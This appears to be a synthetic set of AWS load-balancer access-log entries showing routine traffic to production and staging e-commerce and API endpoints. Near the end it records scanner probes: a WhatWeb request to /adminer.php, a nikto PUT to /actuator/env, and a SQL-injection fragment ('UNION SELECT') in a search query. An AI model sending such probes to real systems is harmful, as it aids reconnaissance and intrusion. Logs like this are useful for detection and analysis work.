arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc34-b732d96238034727acf54afa" "prod-api-alb.example.com" "-" 0 2024-11-01T02:36:20.398637Z "forward" "-" "-" "10.0.72.49:443" "200" "-" "-" +http 2024-11-01T02:36:21.701802Z staging-alb 118.96.85.177:33867 36.223.38.25:80 0.118574 0.601300 0.003848 302 302 652 854 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc35-ac70ad6309274fcdaf12bf80" "staging-alb.example.com" "-" 1 2024-11-01T02:36:21.701802Z "forward" "-" "-" "36.223.38.25:80" "302" "-" "-" +https 2024-11-01T02:36:23.104580Z prod-api-alb 152.118.158.190:56642 10.0.177.151:443 0.024878 0.174454 0.039152 301 301 183 3505 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc37-11e29788187e404eb6cf2789" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:23.104580Z "forward" "-" "-" "10.0.177.151:443" "301" "-" "-" +https 2024-11-01T02:36:24.555834Z prod-web-alb 212.124.103.145:24564 10.0.162.10:443 0.027764 0.477086 0.032936 200 200 86 13570 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc38-88b3deffdf6d4621b81fc533" "prod-web-alb.example.com" "-" 7 2024-11-01T02:36:24.555834Z "forward" "-" "-" "10.0.162.10:443" "200" "-" "-" +https 2024-11-01T02:36:25.547737Z prod-web-alb 197.114.121.144:50096 10.0.80.117:443 0.005397 0.106470 0.094006 200 200 530 633 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc39-6e0f223d28fb44d1a0952e6e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:25.547737Z "forward" "-" "-" "10.0.80.117:443" "200" "-" "-" +https 2024-11-01T02:36:26.866516Z staging-alb 205.38.83.241:17978 244.121.152.125:443 0.113219 0.276911 0.067832 200 200 675 540 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc3a-4e5b6b11b79742029e24e171" "staging-alb.example.com" "-" 5 2024-11-01T02:36:26.866516Z "forward" "-" "-" "244.121.152.125:443" "200" "-" "-" +https 2024-11-01T02:36:28.676917Z staging-alb 189.217.11.112:54763 226.205.86.199:443 0.145428 0.002692 0.089874 200 200 681 14853 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc3c-f0d2f43f825c43af8586100c" "staging-alb.example.com" "-" 4 2024-11-01T02:36:28.676917Z "forward" "-" "-" "226.205.86.199:443" "200" "-" "-" +https 2024-11-01T02:36:28.935922Z prod-web-alb 112.210.224.162:52199 10.0.73.129:443 0.065943 0.159739 0.011584 200 200 922 5372 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc3c-d7853097f8b24eca8195ecd6" "prod-web-alb.example.com" "-" 4 2024-11-01T02:36:28.935922Z "forward" "-" "-" "10.0.73.129:443" "200" "-" "-" +https 2024-11-01T02:36:30.169598Z prod-api-alb 72.198.115.241:58010 10.0.175.45:443 0.091753 0.299716 0.026670 301 301 203 4767 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc3e-6b2174121ab24d9abb610751" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:30.169598Z "forward" "-" "-" "10.0.175.45:443" "301" "-" "-" +https 2024-11-01T02:36:31.166895Z prod-api-alb 176.40.183.19:48628 10.0.52.88:443 0.028779 0.183459 0.009168 200 200 790 303 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc3f-93ac974327a54c3993acec8e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:36:31.166895Z "forward" "-" "-" "10.0.52.88:443" "200" "-" "-" +https 2024-11-01T02:36:31.457851Z prod-api-alb 109.22.126.56:53393 10.0.180.22:443 0.011587 0.195034 0.021299 200 200 793 3141 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc3f-646c0194f2184742852fdcbd" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:31.457851Z "forward" "-" "-" "10.0.180.22:443" "200" "-" "-" +https 2024-11-01T02:36:33.117677Z prod-api-alb 135.159.0.9:15863 10.0.194.189:443 0.086032 0.426776 0.094974 404 404 207 694 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc41-9ebc2905ddce4aa7b8db48c5" "prod-api-alb.example.com" "-" 9 2024-11-01T02:36:33.117677Z "forward" "-" "-" "10.0.194.189:443" "404" "-" "-" +https 2024-11-01T02:36:34.737350Z prod-api-alb 223.164.183.218:53512 10.0.162.124:443 0.015105 0.101896 0.028987 200 200 911 2474 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc42-4996cca921ea45719483ced6" "prod-api-alb.example.com" "-" 4 2024-11-01T02:36:34.737350Z "forward" "-" "-" "10.0.162.124:443" "200" "-" "-" +http 2024-11-01T02:36:36.270819Z staging-alb 167.227.189.47:45376 247.182.221.250:80 0.094245 0.340971 0.043789 301 301 407 3211 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc44-b9310ee4bc1c4336a51e9721" "staging-alb.example.com" "-" 5 2024-11-01T02:36:36.270819Z "forward" "-" "-" "247.182.221.250:80" "301" "-" "-" +https 2024-11-01T02:36:38.008197Z prod-api-alb 115.57.72.242:64241 10.0.248.191:443 0.096875 0.059948 0.014283 200 200 56 7646 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc46-7d267bd731cf490e955e0748" "prod-api-alb.example.com" "-" 2 2024-11-01T02:36:38.008197Z "forward" "-" "-" "10.0.248.191:443" "200" "-" "-" +https 2024-11-01T02:36:39.827747Z prod-api-alb 144.60.35.179:43294 10.0.228.80:443 0.012970 0.311846 0.060279 302 302 960 8593 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc47-205176d075f74f9f95697053" "prod-api-alb.example.com" "-" 2 2024-11-01T02:36:39.827747Z "forward" "-" "-" "10.0.228.80:443" "302" "-" "-" +https 2024-11-01T02:36:40.984500Z prod-api-alb 64.88.126.192:42353 10.0.138.252:443 0.061291 0.215723 0.078336 200 200 704 6867 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc48-315e098a0f4144f3a1391064" "prod-api-alb.example.com" "-" 0 2024-11-01T02:36:40.984500Z "forward" "-" "-" "10.0.138.252:443" "200" "-" "-" +http 2024-11-01T02:36:42.445801Z staging-alb 71.103.158.87:24115 90.163.125.234:8080 0.034604 0.108276 0.041210 200 200 712 10542 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc4a-da400d6260cd4fcfbd4a6d2f" "staging-alb.example.com" "-" 0 2024-11-01T02:36:42.445801Z "forward" "-" "-" "90.163.125.234:8080" "200" "-" "-" +https 2024-11-01T02:36:43.767183Z prod-web-alb 182.17.200.197:10783 10.0.188.178:443 0.051343 0.084678 0.052357 200 200 571 11570 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc4b-08a884239bfb4652a84d799b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:43.767183Z "forward" "-" "-" "10.0.188.178:443" "200" "-" "-" +https 2024-11-01T02:36:44.930504Z prod-web-alb 45.155.205.105:38900 10.0.162.25:443 0.078641 0.106140 0.042029 401 401 729 7271 "POST /adminer.php HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc4c-43ad2c8c48d34477895245d7" "-" "-" 2 2024-11-01T02:36:44.930504Z "forward" "-" "-" "10.0.162.25:443" "401" "-" "-" +http 2024-11-01T02:36:46.105325Z staging-alb 151.233.45.16:33055 130.95.101.214:80 0.090572 0.409900 0.044722 302 302 776 3855 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc4e-3d485ba9e15647bcaa193567" "staging-alb.example.com" "-" 1 2024-11-01T02:36:46.105325Z "forward" "-" "-" "130.95.101.214:80" "302" "-" "-" +https 2024-11-01T02:36:47.965955Z prod-web-alb 11.219.209.224:14300 10.0.16.127:443 0.015681 0.346408 0.005100 302 302 833 5361 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc4f-368cf024591b45f9aa16342d" "prod-web-alb.example.com" "-" 3 2024-11-01T02:36:47.965955Z "forward" "-" "-" "10.0.16.127:443" "302" "-" "-" +https 2024-11-01T02:36:48.206795Z prod-api-alb 244.77.53.88:41171 10.0.154.125:443 0.057843 0.021272 0.099265 200 200 294 5050 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc50-1118d9dc66cb4b31992ec2d2" "prod-api-alb.example.com" "-" 7 2024-11-01T02:36:48.206795Z "forward" "-" "-" "10.0.154.125:443" "200" "-" "-" +http 2024-11-01T02:36:48.921919Z staging-alb 105.192.159.143:49837 82.23.248.115:80 0.141240 0.217056 0.016663 200 200 660 4795 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc50-113c69d756d04266996105cc" "staging-alb.example.com" "-" 8 2024-11-01T02:36:48.921919Z "forward" "-" "-" "82.23.248.115:80" "200" "-" "-" +https 2024-11-01T02:36:49.118296Z prod-api-alb 238.237.232.175:38223 10.0.89.238:443 0.036743 0.387894 0.017328 301 301 36 7862 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc51-629048a431c84ba7ac3f4336" "prod-api-alb.example.com" "-" 7 2024-11-01T02:36:49.118296Z "forward" "-" "-" "10.0.89.238:443" "301" "-" "-" +https 2024-11-01T02:36:49.479775Z prod-api-alb 219.7.252.26:63465 10.0.191.64:443 0.017606 0.186116 0.008321 200 200 905 7305 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc51-e853d246aa96410099b55648" "prod-api-alb.example.com" "-" 7 2024-11-01T02:36:49.479775Z "forward" "-" "-" "10.0.191.64:443" "200" "-" "-" +https 2024-11-01T02:36:50.078618Z prod-web-alb 234.10.16.35:39847 10.0.71.105:443 0.077884 0.272400 0.027747 200 200 246 541 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc52-7a16f0728f4544048ff7944d" "-" "-" 3 2024-11-01T02:36:50.078618Z "forward" "-" "-" "10.0.71.105:443" "200" "-" "-" +https 2024-11-01T02:36:51.001897Z prod-api-alb 204.169.81.44:60795 10.0.156.72:443 0.022700 0.482257 0.048846 200 200 886 2736 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc53-478aaa291ee0459a9e607894" "prod-api-alb.example.com" "-" 3 2024-11-01T02:36:51.001897Z "forward" "-" "-" "10.0.156.72:443" "200" "-" "-" +https 2024-11-01T02:36:52.832914Z staging-alb 95.69.65.47:46845 162.62.216.14:80 0.132230 0.130276 0.100662 200 200 205 11262 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc54-9ae346694e1747bd9ef989c7" "staging-alb.example.com" "-" 4 2024-11-01T02:36:52.832914Z "forward" "-" "-" "162.62.216.14:80" "200" "-" "-" +https 2024-11-01T02:36:54.525718Z prod-api-alb 163.85.209.108:62044 10.0.34.123:443 0.019428 0.406505 0.048297 200 200 17 13762 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc56-0c8cef0c41734b5d9749a1e6" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:54.525718Z "forward" "-" "-" "10.0.34.123:443" "200" "-" "-" +https 2024-11-01T02:36:55.065608Z prod-api-alb 239.62.181.228:49976 10.0.10.15:443 0.068481 0.249170 0.060697 301 301 26 5397 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc57-e402bd88d24e4f238d711e78" "prod-api-alb.example.com" "-" 5 2024-11-01T02:36:55.065608Z "forward" "-" "-" "10.0.10.15:443" "301" "-" "-" +https 2024-11-01T02:36:55.466853Z prod-api-alb 103.207.39.187:58564 10.0.60.8:443 0.073615 0.438699 0.074027 200 200 964 4984 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc57-d32dfeec6f204e4cafabb32e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:36:55.466853Z "forward" "-" "-" "10.0.60.8:443" "200" "-" "-" +https 2024-11-01T02:36:57.363780Z prod-web-alb 216.120.90.83:40089 10.0.134.217:443 0.012669 0.116612 0.006252 200 200 592 6252 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc59-d5286e03b3c74465a0326c77" "prod-web-alb.example.com" "-" 10 2024-11-01T02:36:57.363780Z "forward" "-" "-" "10.0.134.217:443" "200" "-" "-" +https 2024-11-01T02:36:58.415296Z prod-web-alb 193.123.14.203:15332 10.0.255.152:443 0.037688 0.043593 0.067692 301 301 273 1002 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc5a-1e2069853ea44b3db2114da4" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:58.415296Z "forward" "-" "-" "10.0.255.152:443" "301" "-" "-" +http 2024-11-01T02:36:58.842195Z staging-alb 241.105.244.212:41166 80.245.253.182:443 0.017829 0.216025 0.103476 200 200 109 1354 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc5a-3ae850353242473bb5fcd006" "staging-alb.example.com" "-" 4 2024-11-01T02:36:58.842195Z "forward" "-" "-" "80.245.253.182:443" "200" "-" "-" +https 2024-11-01T02:37:00.123113Z staging-alb 89.36.118.39:42523 180.31.25.211:8080 0.016738 0.400681 0.112370 404 404 676 2484 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc5c-83dc408166414f88950b676c" "staging-alb.example.com" "-" 7 2024-11-01T02:37:00.123113Z "forward" "-" "-" "180.31.25.211:8080" "404" "-" "-" +https 2024-11-01T02:37:00.652596Z prod-api-alb 252.218.238.2:18737 10.0.224.235:443 0.051943 0.250924 0.088372 200 200 985 2359 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc5c-c71daa9d5d6c434488d51c72" "prod-api-alb.example.com" "-" 10 2024-11-01T02:37:00.652596Z "forward" "-" "-" "10.0.224.235:443" "200" "-" "-" +http 2024-11-01T02:37:01.912030Z staging-alb 16.160.188.124:48956 102.215.104.190:8080 0.020132 0.454068 0.110241 302 302 505 8254 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc5d-0975f8c16ca14316932a86ca" "staging-alb.example.com" "-" 4 2024-11-01T02:37:01.912030Z "forward" "-" "-" "102.215.104.190:8080" "302" "-" "-" +https 2024-11-01T02:37:02.335871Z prod-web-alb 162.53.200.237:16392 10.0.191.229:443 0.046151 0.288912 0.070564 200 200 98 8644 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc5e-78940d5b80984447bfa820c3" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:02.335871Z "forward" "-" "-" "10.0.191.229:443" "200" "-" "-" +https 2024-11-01T02:37:03.316784Z staging-alb 133.14.16.25:33079 92.194.254.97:8080 0.031923 0.720862 0.100796 200 200 881 5637 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc5f-2d2e912981e94d5faca92af1" "staging-alb.example.com" "-" 3 2024-11-01T02:37:03.316784Z "forward" "-" "-" "92.194.254.97:8080" "200" "-" "-" +https 2024-11-01T02:37:04.285487Z prod-web-alb 95.21.128.17:10932 10.0.164.69:443 0.013361 0.157072 0.049421 200 200 677 8923 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc60-0aa3b641415442b28b57566f" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:04.285487Z "forward" "-" "-" "10.0.164.69:443" "200" "-" "-" +https 2024-11-01T02:37:06.024351Z prod-api-alb 251.160.31.193:28620 10.0.123.61:443 0.022900 0.273921 0.076453 302 302 289 10557 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc62-72c81b65c551449abde80ef1" "-" "-" 8 2024-11-01T02:37:06.024351Z "forward" "-" "-" "10.0.123.61:443" "302" "-" "-" +https 2024-11-01T02:37:06.288058Z prod-web-alb 68.100.124.72:46761 10.0.167.106:443 0.022591 0.265345 0.021791 404 404 379 1982 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc62-2cd41090caa849eab47245b4" "prod-web-alb.example.com" "-" 10 2024-11-01T02:37:06.288058Z "forward" "-" "-" "10.0.167.106:443" "404" "-" "-" +https 2024-11-01T02:37:06.598464Z staging-alb 121.127.180.67:42781 23.35.150.207:80 0.090617 0.717830 0.042103 302 302 315 7880 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc62-90ec680a60dc400e99878938" "staging-alb.example.com" "-" 4 2024-11-01T02:37:06.598464Z "forward" "-" "-" "23.35.150.207:80" "302" "-" "-" +https 2024-11-01T02:37:06.895621Z prod-web-alb 80.239.110.168:13985 10.0.254.202:443 0.007658 0.426963 0.004706 200 200 469 696 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc62-9cc5f156a3c345d787da8c49" "prod-web-alb.example.com" "-" 3 2024-11-01T02:37:06.895621Z "forward" "-" "-" "10.0.254.202:443" "200" "-" "-" +https 2024-11-01T02:37:07.427159Z prod-web-alb 26.48.86.111:39288 10.0.144.30:443 0.040107 0.440646 0.014080 404 404 331 6087 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc63-800db76c81884dd987307572" "prod-web-alb.example.com" "-" 5 2024-11-01T02:37:07.427159Z "forward" "-" "-" "10.0.144.30:443" "404" "-" "-" +https 2024-11-01T02:37:07.709730Z prod-api-alb 185.181.112.119:43602 10.0.143.134:443 0.002207 0.330722 0.064497 404 404 677 1954 "PUT /actuator/env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc63-7b72cd325297463693d58bea" "-" "-" 2 2024-11-01T02:37:07.709730Z "forward" "-" "-" "10.0.143.134:443" "404" "-" "-" +https 2024-11-01T02:37:08.896834Z prod-web-alb 185.181.21.23:59676 10.0.195.137:443 0.020651 0.111128 0.089728 403 403 184 4744 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc64-d3a00dbe564e448a985c035b" "-" "-" 8 2024-11-01T02:37:08.896834Z "forward" "-" "-" "10.0.195.137:443" "403" "-" "-" +https 2024-11-01T02:37:09.402072Z prod-api-alb 230.162.99.126:51173 10.0.205.180:443 0.046007 0.429735 0.030404 200 200 640 14125 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc65-65b7265410b34ee1906d1b37" "-" "-" 2 